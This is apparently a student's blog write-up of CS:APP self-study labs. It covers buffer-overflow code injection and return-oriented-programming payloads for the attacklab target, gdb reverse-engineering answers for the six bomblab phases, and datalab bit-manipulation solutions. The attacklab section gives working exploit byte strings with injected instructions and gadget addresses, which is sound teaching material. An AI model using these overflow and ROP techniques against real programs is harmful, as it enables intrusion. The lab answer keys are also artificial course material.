1.code injection attacks

代码注入攻击
利用gets等方法不检查读入串长度的性质攻击
给读入一个足够长的串，使其溢出给定的长度，进而达到修改栈中其他内容的目的

level 1

利用test函数的溢出，调用touch函数

void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
 }

先看一下getbuf中的内容

(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>: sub    $0x28,%rsp
   0x00000000004017ac <+4>: mov    %rsp,%rdi
   0x00000000004017af <+7>: callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq   
End of assembler dump.

开始时将rsp减少0x28，即需要一个长为0x28的串来溢出到指定位置
rsp在减小前指向getbuf函数返回的位置
溢出到指定位置后需要修改函数返回的位置
解码touch1

(gdb) disas touch1
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>: sub    $0x8,%rsp
   0x00000000004017c4 <+4>: movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:    mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:    callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:    mov    $0x1,%edi
   0x00000000004017dd <+29>:    callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:    mov    $0x0,%edi
   0x00000000004017e7 <+39>:    callq  0x400e40 <exit@plt>
End of assembler dump.

发现touch1的地址为0x4017c0
因此返回到0x4017c0位置
由于是little-endian，因此溢出位需要为 c0 17 40 00 00 00 00 00
只需用hex2raw将
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
转码即可

level 2

利用test的溢出，以参数cookie调用函数touch2

可以通过溢出构造一段二进制代码，然后用level1的方法跳转至这段代码
注意ret方法是跳转至栈顶的内存位置，然后弹出栈顶
因此可以在构造代码中修改函数参数rdi，然后利用ret跳转至touch2de
注入内容如下:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
b0 dc 61 55 00 00 00 00 /* 0x5561dcb0 */
ec 17 40 00 00 00 00 00 /* touch2 */
48 c7 c7 fa 97 b9 59 /* movq $0x59b997fa,%rdi */
c3 /* retq */

其中0x5561dcb0用于跳转之后汇编二进制代码处

level 3

同样利用test的溢出，传入touch3一个字符串指针，该字符串与cookie相等

构造字符串cookie，构造代码使rdi指向字符串位置，同理利用ret跳转至touch2
注入内容如下：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
b9 dc 61 55 00 00 00 00 /* 0x5561dcb9 */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 00 /* 0x59b997fa */
48 c7 c7 b0 dc 61 55 /* movq $0x5561dcb0,%rdi */
c3 /* retq */

栈设计为从大到小增长的好处在于，这样可以使输入的字符串在内存中是正序的。
而数字由于采用little-endian，因此需要倒叙输入

2. return-oriented programming

基于ret操作的构造攻击
retq操作在汇编中被编码为c3，可以将rip（当前运行位置）指向栈顶代表的地址并弹栈，可以利用这个性质在栈中构造一系列地址，依次运行

level 2

利用ROP实现level 2的目的
注意到farm中的这样两段代码：

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq   

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq   

注意到第二段中的 58 90 c3
其中 58 为 popq rax，90 为 nop （无操作），c3 为 retq
第一段中的 48 89 c7 c3
其中 48 89 c7 为 movq rax rdi
综合两段，可构造：
popq rax
movq rax rdi
只需在栈中加入所需的值，即可将rdi赋为所需的值
注入内容如下：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 /* 0x4019ab */
fa 97 b9 59 00 00 00 00 /* 0x5561dcb9 */
a2 19 40 00 00 00 00 00 /* 0x4019a2 */
ec 17 40 00 00 00 00 00 /* touch2 */

Welcome to my fiendish little bomb.
You have 6 phases with which to blow yourself up. Have a nice day!

bomblab分6个phase，每个phase有一个函数，没有函数的源代码，只能通过阅读函数的汇编代码得出恰当的输入。一次错误的输入会引爆炸弹。不过只要在explode_bomb打一个断点就可以了。

gdb调试汇编命令：
- disassemble 反汇编函数func，输出函数汇编代码。简称disas
- b 在函数func处打断点
- b *+ 在函数func汇编代码中+num处打断点
- cl 清除函数func的所有断点
- ni/si 在汇编代码中逐步执行
- p $ 打印寄存器reg当前的值 e.g.:p $rax
- x/<n/f/u> 输出地址addr后的信息，
n：一个数字，表示输出数量
f：输出格式（s：字符串，x：十六进制，d：十进制...）
u：输出每个数所占位数（b：单字节，h：双字节，w：四字节，g：八字节），默认四字节
addr：一个内存地址
e.g. x/8xg $rsp+0x20

特殊寄存器:
rsp：stack ptr，指向系统栈中当前函数栈底位置
rax：函数返回值寄存器
rdi：传入第一个参数
rsi：传入第二个参数
rdx：传入第三个参数
rcx：传入第四个参数

phase_1

   0x0000000000400ee0 <+0>: sub    $0x8,%rsp
   0x0000000000400ee4 <+4>: mov    $0x402400,%esi
   0x0000000000400ee9 <+9>: callq  0x401338 <strings_not_equal>
   0x0000000000400eee <+14>:    test   %eax,%eax
   0x0000000000400ef0 <+16>:    je     0x400ef7 <phase_1+23>
   0x0000000000400ef2 <+18>:    callq  0x40143a <explode_bomb>
   0x0000000000400ef7 <+23>:    add    $0x8,%rsp
   0x0000000000400efb <+27>:    retq 

<+4>行给esi赋了一个蜜汁内存地址0x402400，然后调用string_not_equal
x/s $0x402400 得到"Border relations with Canada have never been better."
就是答案了。

phase_2

   0x0000000000400efc <+0>:   push   %rbp
   0x0000000000400efd <+1>:   push   %rbx
   0x0000000000400efe <+2>:   sub    $0x28,%rsp
   0x0000000000400f02 <+6>:   mov    %rsp,%rsi
   0x0000000000400f05 <+9>:   callq  0x40145c <read_six_numbers>
   0x0000000000400f0a <+14>:  cmpl   $0x1,(%rsp)
   0x0000000000400f0e <+18>:  je     0x400f30 <phase_2+52>
   0x0000000000400f10 <+20>:  callq  0x40143a <explode_bomb>
   0x0000000000400f15 <+25>:  jmp    0x400f30 <phase_2+52>
   0x0000000000400f17 <+27>:  mov    -0x4(%rbx),%eax
   0x0000000000400f1a <+30>:  add    %eax,%eax
   0x0000000000400f1c <+32>:  cmp    %eax,(%rbx)
   0x0000000000400f1e <+34>:  je     0x400f25 <phase_2+41>
   0x0000000000400f20 <+36>:  callq  0x40143a <explode_bomb>
   0x0000000000400f25 <+41>:  add    $0x4,%rbx
   0x0000000000400f29 <+45>:  cmp    %rbp,%rbx
   0x0000000000400f2c <+48>:  jne    0x400f17 <phase_2+27>
   0x0000000000400f2e <+50>:  jmp    0x400f3c <phase_2+64>
   0x0000000000400f30 <+52>:  lea    0x4(%rsp),%rbx
   0x0000000000400f35 <+57>:  lea    0x18(%rsp),%rbp
   0x0000000000400f3a <+62>:  jmp    0x400f17 <phase_2+27>
   0x0000000000400f3c <+64>:  add    $0x28,%rsp
   0x0000000000400f40 <+68>:  pop    %rbx
   0x0000000000400f41 <+69>:  pop    %rbp
   0x0000000000400f42 <+70>:  retq   

<+9>调用read_six_numbers
<+18>要求第一个数必须为1
然后是一个循环，要求后一个数是前一个数的二倍
因此答案为 1 2 4 8 16 32

phase_3

   0x0000000000400f43 <+0>:   sub    $0x18,%rsp
   0x0000000000400f47 <+4>:   lea    0xc(%rsp),%rcx
   0x0000000000400f4c <+9>:   lea    0x8(%rsp),%rdx
   0x0000000000400f51 <+14>:  mov    $0x4025cf,%esi
   0x0000000000400f56 <+19>:  mov    $0x0,%eax
   0x0000000000400f5b <+24>:  callq  0x400bf0 <__isoc99_sscanf@plt>
   0x0000000000400f60 <+29>:  cmp    $0x1,%eax
   0x0000000000400f63 <+32>:  jg     0x400f6a <phase_3+39>
   0x0000000000400f65 <+34>:  callq  0x40143a <explode_bomb>
   0x0000000000400f6a <+39>:  cmpl   $0x7,0x8(%rsp)
   0x0000000000400f6f <+44>:  ja     0x400fad <phase_3+106>
   0x0000000000400f71 <+46>:  mov    0x8(%rsp),%eax
   0x0000000000400f75 <+50>:  jmpq   *0x402470(,%rax,8)
   0x0000000000400f7c <+57>:  mov    $0xcf,%eax
   0x0000000000400f81 <+62>:  jmp    0x400fbe <phase_3+123>
   0x0000000000400f83 <+64>:  mov    $0x2c3,%eax
   0x0000000000400f88 <+69>:  jmp    0x400fbe <phase_3+123>
   0x0000000000400f8a <+71>:  mov    $0x100,%eax
   0x0000000000400f8f <+76>:  jmp    0x400fbe <phase_3+123>
   0x0000000000400f91 <+78>:  mov    $0x185,%eax
   0x0000000000400f96 <+83>:  jmp    0x400fbe <phase_3+123>
   0x0000000000400f98 <+85>:  mov    $0xce,%eax
   0x0000000000400f9d <+90>:  jmp    0x400fbe <phase_3+123>
   0x0000000000400f9f <+92>:  mov    $0x2aa,%eax
   0x0000000000400fa4 <+97>:  jmp    0x400fbe <phase_3+123>
   0x0000000000400fa6 <+99>:  mov    $0x147,%eax
   0x0000000000400fab <+104>: jmp    0x400fbe <phase_3+123>
   0x0000000000400fad <+106>: callq  0x40143a <explode_bomb>
   0x0000000000400fb2 <+111>: mov    $0x0,%eax
   0x0000000000400fb7 <+116>: jmp    0x400fbe <phase_3+123>
   0x0000000000400fb9 <+118>: mov    $0x137,%eax
   0x0000000000400fbe <+123>: cmp    0xc(%rsp),%eax
   0x0000000000400fc2 <+127>: je     0x400fc9 <phase_3+134>
   0x0000000000400fc4 <+129>: callq  0x40143a <explode_bomb>
   0x0000000000400fc9 <+134>: add    $0x18,%rsp
   0x0000000000400fcd <+138>: retq  

<+14>蜜汁内存地址0x4025cf
x/s 0x4025cf得到 "%d %d"
sscanf第二个参数，即输入格式为2个整数
eax为成功赋值参数个数
<+32>强制eax>1，即传入两个参数
可以发现传入的第一个参数地址为$rsp+0x8，第二个参数地址为$rsp+0xc
<+44>要求第一个参数小于等于7
<+50>跳转*(0x402470+8rax)，此时rax为第一个参数的值
看一下内存0x402470后的值

(gdb) x/8xg 0x402470
0x402470:   0x0000000000400f7c  0x0000000000400fb9
0x402480:   0x0000000000400f83  0x0000000000400f8a
0x402490:   0x0000000000400f91  0x0000000000400f98
0x4024a0:   0x0000000000400f9f  0x0000000000400fa6

即对于每个rax，会跳转到一个位置，以第一个参数为7为例：
会跳转到0x400fa6，然后比较第二个参数与0x147是否相等
因此7 327 (0x147=327)为一组解，理论上应该有八组解

phase_4

   0x000000000040100c <+0>: sub    $0x18,%rsp
   0x0000000000401010 <+4>: lea    0xc(%rsp),%rcx
   0x0000000000401015 <+9>: lea    0x8(%rsp),%rdx
   0x000000000040101a <+14>:    mov    $0x4025cf,%esi
   0x000000000040101f <+19>:    mov    $0x0,%eax
   0x0000000000401024 <+24>:    callq  0x400bf0 <__isoc99_sscanf@plt>
   0x0000000000401029 <+29>:    cmp    $0x2,%eax
   0x000000000040102c <+32>:    jne    0x401035 <phase_4+41>
   0x000000000040102e <+34>:    cmpl   $0xe,0x8(%rsp)
   0x0000000000401033 <+39>:    jbe    0x40103a <phase_4+46>
   0x0000000000401035 <+41>:    callq  0x40143a <explode_bomb>
   0x000000000040103a <+46>:    mov    $0xe,%edx
   0x000000000040103f <+51>:    mov    $0x0,%esi
   0x0000000000401044 <+56>:    mov    0x8(%rsp),%edi
   0x0000000000401048 <+60>:    callq  0x400fce <func4>
   0x000000000040104d <+65>:    test   %eax,%eax
   0x000000000040104f <+67>:    jne    0x401058 <phase_4+76>
   0x0000000000401051 <+69>:    cmpl   $0x0,0xc(%rsp)
   0x0000000000401056 <+74>:    je     0x40105d <phase_4+81>
   0x0000000000401058 <+76>:    callq  0x40143a <explode_bomb>
   0x000000000040105d <+81>:    add    $0x18,%rsp
   0x0000000000401061 <+85>:    retq  

同理可以发现仍然需要两个输入数
<+34>说明第一个参数小于0xe
<+69>要求第二个参数为0（所以要他何用）
<+60>调用函数func4，传入三个参数，分别为0xe,0x0,phase_4的第一个参数
<+67>要求func4返回值为0
然后看一下func4长什么样：
其实把第一个参数从0试到0xe也行

   0x0000000000400fce <+0>: sub    $0x8,%rsp
   0x0000000000400fd2 <+4>: mov    %edx,%eax
   0x0000000000400fd4 <+6>: sub    %esi,%eax
   0x0000000000400fd6 <+8>: mov    %eax,%ecx
   0x0000000000400fd8 <+10>:    shr    $0x1f,%ecx
   0x0000000000400fdb <+13>:    add    %ecx,%eax
   0x0000000000400fdd <+15>:    sar    %eax
   0x0000000000400fdf <+17>:    lea    (%rax,%rsi,1),%ecx
   0x0000000000400fe2 <+20>:    cmp    %edi,%ecx
   0x0000000000400fe4 <+22>:    jle    0x400ff2 <func4+36>
   0x0000000000400fe6 <+24>:    lea    -0x1(%rcx),%edx
   0x0000000000400fe9 <+27>:    callq  0x400fce <func4>
   0x0000000000400fee <+32>:    add    %eax,%eax
   0x0000000000400ff0 <+34>:    jmp    0x401007 <func4+57>
   0x0000000000400ff2 <+36>:    mov    $0x0,%eax
   0x0000000000400ff7 <+41>:    cmp    %edi,%ecx
   0x0000000000400ff9 <+43>:    jge    0x401007 <func4+57>
   0x0000000000400ffb <+45>:    lea    0x1(%rcx),%esi
   0x0000000000400ffe <+48>:    callq  0x400fce <func4>
   0x0000000000401003 <+53>:    lea    0x1(%rax,%rax,1),%eax
   0x0000000000401007 <+57>:    add    $0x8,%rsp
   0x000000000040100b <+61>:    retq   

看起来是一个奇怪的递归函数，不过不要慌，我们只需要让这个函数返回0就行了
然后可以发现，只要rdi=7就可以跳过那坨递归直接返回一个0。。。
所以 7 0 就行了。
其实答案不止7一个

phase_5

=> 0x0000000000401062 <+0>:   push   %rbx
   0x0000000000401063 <+1>:   sub    $0x20,%rsp
   0x0000000000401067 <+5>:   mov    %rdi,%rbx
   0x000000000040106a <+8>:   mov    %fs:0x28,%rax
   0x0000000000401073 <+17>:  mov    %rax,0x18(%rsp)
   0x0000000000401078 <+22>:  xor    %eax,%eax
   0x000000000040107a <+24>:  callq  0x40131b <string_length>
   0x000000000040107f <+29>:  cmp    $0x6,%eax
   0x0000000000401082 <+32>:  je     0x4010d2 <phase_5+112>
   0x0000000000401084 <+34>:  callq  0x40143a <explode_bomb>
   0x0000000000401089 <+39>:  jmp    0x4010d2 <phase_5+112>
   0x000000000040108b <+41>:  movzbl (%rbx,%rax,1),%ecx
   0x000000000040108f <+45>:  mov    %cl,(%rsp)
   0x0000000000401092 <+48>:  mov    (%rsp),%rdx
   0x0000000000401096 <+52>:  and    $0xf,%edx
   0x0000000000401099 <+55>:  movzbl 0x4024b0(%rdx),%edx
   0x00000000004010a0 <+62>:  mov    %dl,0x10(%rsp,%rax,1)
   0x00000000004010a4 <+66>:  add    $0x1,%rax
   0x00000000004010a8 <+70>:  cmp    $0x6,%rax
   0x00000000004010ac <+74>:  jne    0x40108b <phase_5+41>
   0x00000000004010ae <+76>:  movb   $0x0,0x16(%rsp)
   0x00000000004010b3 <+81>:  mov    $0x40245e,%esi
   0x00000000004010b8 <+86>:  lea    0x10(%rsp),%rdi
   0x00000000004010bd <+91>:  callq  0x401338 <strings_not_equal>
   0x00000000004010c2 <+96>:  test   %eax,%eax
   0x00000000004010c4 <+98>:  je     0x4010d9 <phase_5+119>
   0x00000000004010c6 <+100>: callq  0x40143a <explode_bomb>
   0x00000000004010cb <+105>: nopl   0x0(%rax,%rax,1)
   0x00000000004010d0 <+110>: jmp    0x4010d9 <phase_5+119>
   0x00000000004010d2 <+112>: mov    $0x0,%eax
   0x00000000004010d7 <+117>: jmp    0x40108b <phase_5+41>
   0x00000000004010d9 <+119>: mov    0x18(%rsp),%rax
   0x00000000004010de <+124>: xor    %fs:0x28,%rax
   0x00000000004010e7 <+133>: je     0x4010ee <phase_5+140>
   0x00000000004010e9 <+135>: callq  0x400b30 <__stack_chk_fail@plt>
   0x00000000004010ee <+140>: add    $0x20,%rsp
   0x00000000004010f2 <+144>: pop    %rbx
   0x00000000004010f3 <+145>: retq  

<+32> 说明输入是一个长度为6的字符串。
然后进入一个循环<+41>~<+74>
枚举输入的字符，取其&$0xf后的数edx，然后把edx+0x4024b的值赋到$rsp+0x10+i（i为1到6的循环变量）
看一下0x4024b有啥

(gdb) x/s 0x4024b0
0x4024b0 <array.3449>:  "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"

其实只有前面一段"maduiersnfotvbyl"有用
然后<+76>~<+98>
比较字符串$rsp+0x10和0x40245e是否相等

(gdb) x/s 0x40245e
0x40245e:   "flyers"

也就是说我们需要通过凑出一个"flyers"
输入字符串每一个字符ascii的后四个bit对应"maduiersnfotvbyl"的下标，凑出一个"flyers"
一个可行解是"9?>567"

phase_6

这个phase跟前面画风不太一样啊。。。

   0x00000000004010f4 <+0>:   push   %r14
   0x00000000004010f6 <+2>:   push   %r13
   0x00000000004010f8 <+4>:   push   %r12
   0x00000000004010fa <+6>:   push   %rbp
   0x00000000004010fb <+7>:   push   %rbx
   0x00000000004010fc <+8>:   sub    $0x50,%rsp
   0x0000000000401100 <+12>:  mov    %rsp,%r13
   0x0000000000401103 <+15>:  mov    %rsp,%rsi
   0x0000000000401106 <+18>:  callq  0x40145c <read_six_numbers>
   0x000000000040110b <+23>:  mov    %rsp,%r14
   0x000000000040110e <+26>:  mov    $0x0,%r12d
   0x0000000000401114 <+32>:  mov    %r13,%rbp
   0x0000000000401117 <+35>:  mov    0x0(%r13),%eax
   0x000000000040111b <+39>:  sub    $0x1,%eax
   0x000000000040111e <+42>:  cmp    $0x5,%eax
   0x0000000000401121 <+45>:  jbe    0x401128 <phase_6+52>
   0x0000000000401123 <+47>:  callq  0x40143a <explode_bomb>
   0x0000000000401128 <+52>:  add    $0x1,%r12d
   0x000000000040112c <+56>:  cmp    $0x6,%r12d
   0x0000000000401130 <+60>:  je     0x401153 <phase_6+95>
   0x0000000000401132 <+62>:  mov    %r12d,%ebx
   0x0000000000401135 <+65>:  movslq %ebx,%rax
   0x0000000000401138 <+68>:  mov    (%rsp,%rax,4),%eax
   0x000000000040113b <+71>:  cmp    %eax,0x0(%rbp)
   0x000000000040113e <+74>:  jne    0x401145 <phase_6+81>
   0x0000000000401140 <+76>:  callq  0x40143a <explode_bomb>
   0x0000000000401145 <+81>:  add    $0x1,%ebx
   0x0000000000401148 <+84>:  cmp    $0x5,%ebx
   0x000000000040114b <+87>:  jle    0x401135 <phase_6+65>
   0x000000000040114d <+89>:  add    $0x4,%r13
   0x0000000000401151 <+93>:  jmp    0x401114 <phase_6+32>
   0x0000000000401153 <+95>:  lea    0x18(%rsp),%rsi
   0x0000000000401158 <+100>: mov    %r14,%rax
   0x000000000040115b <+103>: mov    $0x7,%ecx
   0x0000000000401160 <+108>: mov    %ecx,%edx
   0x0000000000401162 <+110>: sub    (%rax),%edx
   0x0000000000401164 <+112>: mov    %edx,(%rax)
   0x0000000000401166 <+114>: add    $0x4,%rax
   0x000000000040116a <+118>: cmp    %rsi,%rax
   0x000000000040116d <+121>: jne    0x401160 <phase_6+108>
   0x000000000040116f <+123>: mov    $0x0,%esi
   0x0000000000401174 <+128>: jmp    0x401197 <phase_6+163>
   0x0000000000401176 <+130>: mov    0x8(%rdx),%rdx
   0x000000000040117a <+134>: add    $0x1,%eax
   0x000000000040117d <+137>: cmp    %ecx,%eax
   0x000000000040117f <+139>: jne    0x401176 <phase_6+130>
   0x0000000000401181 <+141>: jmp    0x401188 <phase_6+148>
   0x0000000000401183 <+143>: mov    $0x6032d0,%edx
   0x0000000000401188 <+148>: mov    %rdx,0x20(%rsp,%rsi,2)
   0x000000000040118d <+153>: add    $0x4,%rsi
   0x0000000000401191 <+157>: cmp    $0x18,%rsi
   0x0000000000401195 <+161>: je     0x4011ab <phase_6+183>
   0x0000000000401197 <+163>: mov    (%rsp,%rsi,1),%ecx
   0x000000000040119a <+166>: cmp    $0x1,%ecx
   0x000000000040119d <+169>: jle    0x401183 <phase_6+143>
   0x000000000040119f <+171>: mov    $0x1,%eax
   0x00000000004011a4 <+176>: mov    $0x6032d0,%edx
   0x00000000004011a9 <+181>: jmp    0x401176 <phase_6+130>
   0x00000000004011ab <+183>: mov    0x20(%rsp),%rbx
   0x00000000004011b0 <+188>: lea    0x28(%rsp),%rax
   0x00000000004011b5 <+193>: lea    0x50(%rsp),%rsi
   0x00000000004011ba <+198>: mov    %rbx,%rcx
   0x00000000004011bd <+201>: mov    (%rax),%rdx
   0x00000000004011c0 <+204>: mov    %rdx,0x8(%rcx)
   0x00000000004011c4 <+208>: add    $0x8,%rax
   0x00000000004011c8 <+212>: cmp    %rsi,%rax
   0x00000000004011cb <+215>: je     0x4011d2 <phase_6+222>
   0x00000000004011cd <+217>: mov    %rdx,%rcx
   0x00000000004011d0 <+220>: jmp    0x4011bd <phase_6+201>
   0x00000000004011d2 <+222>: movq   $0x0,0x8(%rdx)
   0x00000000004011da <+230>: mov    $0x5,%ebp
   0x00000000004011df <+235>: mov    0x8(%rbx),%rax
   0x00000000004011e3 <+239>: mov    (%rax),%eax
   0x00000000004011e5 <+241>: cmp    %eax,(%rbx)
   0x00000000004011e7 <+243>: jge    0x4011ee <phase_6+250>
   0x00000000004011e9 <+245>: callq  0x40143a <explode_bomb>
   0x00000000004011ee <+250>: mov    0x8(%rbx),%rbx
   0x00000000004011f2 <+254>: sub    $0x1,%ebp
   0x00000000004011f5 <+257>: jne    0x4011df <phase_6+235>
   0x00000000004011f7 <+259>: add    $0x50,%rsp
   0x00000000004011fb <+263>: pop    %rbx
   0x00000000004011fc <+264>: pop    %rbp
   0x00000000004011fd <+265>: pop    %r12
   0x00000000004011ff <+267>: pop    %r13
   0x0000000000401201 <+269>: pop    %r14
   0x0000000000401203 <+271>: retq  

一个巨长的汇编代码，各种跳转。。。
不过努力分析一波可以发现这其实是一坨循环组成的
可以发现输入是6个数
<+32>~<+95>判断输入是不是一个1到6的排列

<+108>~<+121>把排列的所有数变成7-x（强行增加难度）

<+128>~<+183>这段比较蛋疼，用力看一下，里面有一个蜜汁内存地址0x6032d0
里面是长这样的：

(gdb) x/12xg 0x6032d0
0x6032d0 <node1>:   0x000000010000014c  0x00000000006032e0
0x6032e0 <node2>:   0x00000002000000a8  0x00000000006032f0
0x6032f0 <node3>:   0x000000030000039c  0x0000000000603300
0x603300 <node4>:   0x00000004000002b3  0x0000000000603310
0x603310 <node5>:   0x00000005000001dd  0x0000000000603320
0x603320 <node6>:   0x00000006000001bb  0x0000000000000000

然后这段代码相当于把排列做了一个映射

1->0x00000000006032e0
2->0x00000000006032f0
3->0x0000000000603300
4->0x0000000000603310
5->0x0000000000603320
6->0x0000000000000000

然后接到原排列后面

<+201>~<+222>
其实最后两段是最蛋疼的
这一段相当于搞了一个类似链表的东西
把内存0x6032d0到0x6032e0这段做了一个轮换
（这段可以分成6组，每组由两个8位的数构成，一组中的第一个存一个数值，第二个存一个地址，对其中第二个做一个轮换）

<+235>~<+257>
这段是按上面那个链表的顺序访问访问每组，要求每组的第一个元素后四位递减顺序出现

0x000000010000014c->14c 
0x00000002000000a8->0a8 
0x000000030000039c->39c 
0x00000004000002b3->2b3 
0x00000005000001dd->1dd 
0x00000006000001bb->1bb 

然后就可以确定这个初始的排列了。。。

好像还有个隐藏关卡？
以后再说吧
强行完结撒花

好像几百年没更博了。。。

最近在学cmu的csapp，没有学号不能在cmu上交
不过可以下官方的自学lab

datalab断断续续搞了两三天QAQ
就不贴官方要求了

1.bitAnd

用 ~,| 实现按位与

int bitAnd(int x, int y) {
    return ~((~x)|(~y));
}

2.getByte

获得第n个byte

int getByte(int x, int n) {
    return (x>>(n<<3))&0xff;
}

3.logicalShift

逻辑右移n位
把最高的n-1位置0

int logicalShift(int x, int n) {
    int v1 = 1<<31;
    int v2 = ~((v1>>n)<<1);
    return (x>>n)&v2;
}

4.bitCount

计算所有位中1的个数，限制40个ops
开始确实没想到可以用类似分治一次搞多位。
就是每次把连续$$2^k$$个bit的和计算出来放在原来的位置
这个东西可以所有位一起搞

int bitCount(int x) {

    int t0 = 0x55|(0x55<<8);
    int v0 = t0|(t0<<16);
    int x0 = (x&v0)+((x>>1)&v0);

    int t1 = 0x33|(0x33<<8);
    int v1 = t1|(t1<<16);
    int x1 = (x0&v1)+((x0>>2)&v1);

    int t2 = 0xf|(0xf<<8);
    int v2 = t2|(t2<<16);
    int x2 = (x1&v2)+((x1>>4)&v2);

    int v3 = 0xff|(0xff<<16);
    int x3 = (x2&v3)+((x2>>8)&v3);

    int v4 = 0xff|(0xff<<8);
    int x4 = (x3&v4)+((x3>>16)&v4);

    return x4;
}

5.bang

不用!实现！
把所有位或到第一位就好了，每次折半

int bang(int x) {
    x |= x >> 16;
    x |= x >> 8;
    x |= x >> 4;
    x |= x >> 2;
    x |= x >> 1;
    return (~x)&1;
}

6.tmin

最小的two's complement number -2147483648

int tmin(void) {
    return 1 << 31;
}

7.fitsBits

数x是否可以被表示成n个bit的数
就是判断最高32-n+1位是否相同
因为要实现logicalshift写的极丑，还特判了n=32

int fitsBits(int x, int n) {
    int v1 = 1<<31;
    int v2 = ~((v1>>n)<<1);
    x ^= x >> 31;
    return (n>>5&1)|(!((x << 1 >> n)&v2));
}

8.divpwr2

$$x/2^k$$向0取整
负数的话判断一下前n位有没有东西，如果有就+1

int divpwr2(int x, int n) {
    int v1 = x>>31&1;
    int v2 = !!((x>>n<<n)^x);
    return (x>>n)+(v1&v2);
}

9.negate

返回-x

int negate(int x) {
    return ~x + 1;
}

10.isPositive

返回x是否大于0
判0或负数

int isPositive(int x) {
    return !((!(x&~(1<<31)))|(x>>31));
}

11.isLessOrEqual

比较x是否小于等于y
首先比较符号是否相同
符号不同返回x为负
符号相同返回y-x非负

int isLessOrEqual(int x, int y) {
    int v2 = (x>>31)&1;
    int v1 = v2^((y>>31)&1);
    int v3 = y+((~x)+1);
    int v4 = !((v3>>31)&1);
    return (v1&v2)|((!v1)&v4);
}

12.ilog2

返回最高位位置（log下取整）
优雅的二分

int ilog2(int x) {
    int ret = 0;
    int t1 = 0;

    t1 = !(x>>16);
    ret = (!t1)<<4;
    x = x>>(16^(t1<<4));

    t1 = !(x>>8);
    ret |= (!t1)<<3;
    x = x>>(8^(t1<<3));

    t1 = !(x>>4);
    ret |= (!t1)<<2;
    x = x>>(4^(t1<<2));

    t1 = !(x>>2);
    ret |= (!t1)<<1;
    x = x>>(2^(t1<<1));

    return ret|(x>>1);
}

13.float_neg

为啥到这函数名就变下划线了啊啊啊啊
传入一个unsigned表示一个float格式的数，返回-x
判一下nan，把符号位反过来

unsigned float_neg(unsigned uf) {
    unsigned v = uf;
    unsigned frac = 0;
    unsigned exp = 0;
    unsigned s = 0;
    unsigned nf = 0;

    frac = v&0x7fffff;
    v>>=23;
    exp = v&0xff;
    v>>=8;
    s = v;
    nf = uf^0x80000000;
    if(exp == 0xff && frac)
        return uf;
    return nf;
}

14.float_i2f

把int转成float
首先特判掉0和-2147483648（雾）
然后记一下符号位，转成正数
然后如果不到23位就补到23位，如果超了的话emmm，round to nearest even了解一下~~~

unsigned float_i2f(int x) {
    unsigned exp = 0;
    unsigned frac = 0;
    unsigned s = 0;
    unsigned tx = x;
    unsigned num = 0;
    unsigned pre = 0;
    if(!tx) return 0u;
    if(tx == 0x80000000) return 0xcf000000;
    if(tx&0x80000000)
        s = 0x80000000, tx = -tx;
    exp = 150;
    while(tx < 0x800000)
        tx <<= 1,exp--;
    while(tx >= 0x1000000)
    {
        pre = tx & 1;
        num += pre;
        tx >>= 1; exp++;
    }
    if( pre && (num + (tx&1) >= 2))
    {
        tx++;
        if(tx >= 0x1000000)
            tx >>= 1, exp++;
    } 
    frac = tx^0x800000;
    return frac | (exp<<23) | s;
}

15.float_twice

传入一个unsigned表示一个float格式的数，返回2x
判掉nan和inf
再判一下2x会不会到inf
再判一下是不是normalized的
再判一下会不会到normalized

unsigned float_twice(unsigned uf) {
    unsigned v = uf;
    unsigned exp = 0;
    unsigned frac = 0;
    unsigned s = 0;
    unsigned exp1 = 0;
    unsigned frac1 = 0;
    unsigned s1 = 0;

    frac = v&0x7fffff;
    v>>=23;
    exp = v&0xff;
    v>>=8;
    s = v;

    exp1 = exp;
    frac1 = frac;
    s1 = s;

    if(exp == 0xff)
        return uf;

    if(exp == 0xfe)
        exp1 = 0xff, frac1 = 0;
    else if(exp == 0)
    {
        if((frac >> 23) & 1)
        {
            frac1 ^= 1<<23;
            exp1 = 1;
        }
        frac1 <<= 1;
    }
    else exp1++;

    return frac1 | (exp1<<23) | (s1<<31);
}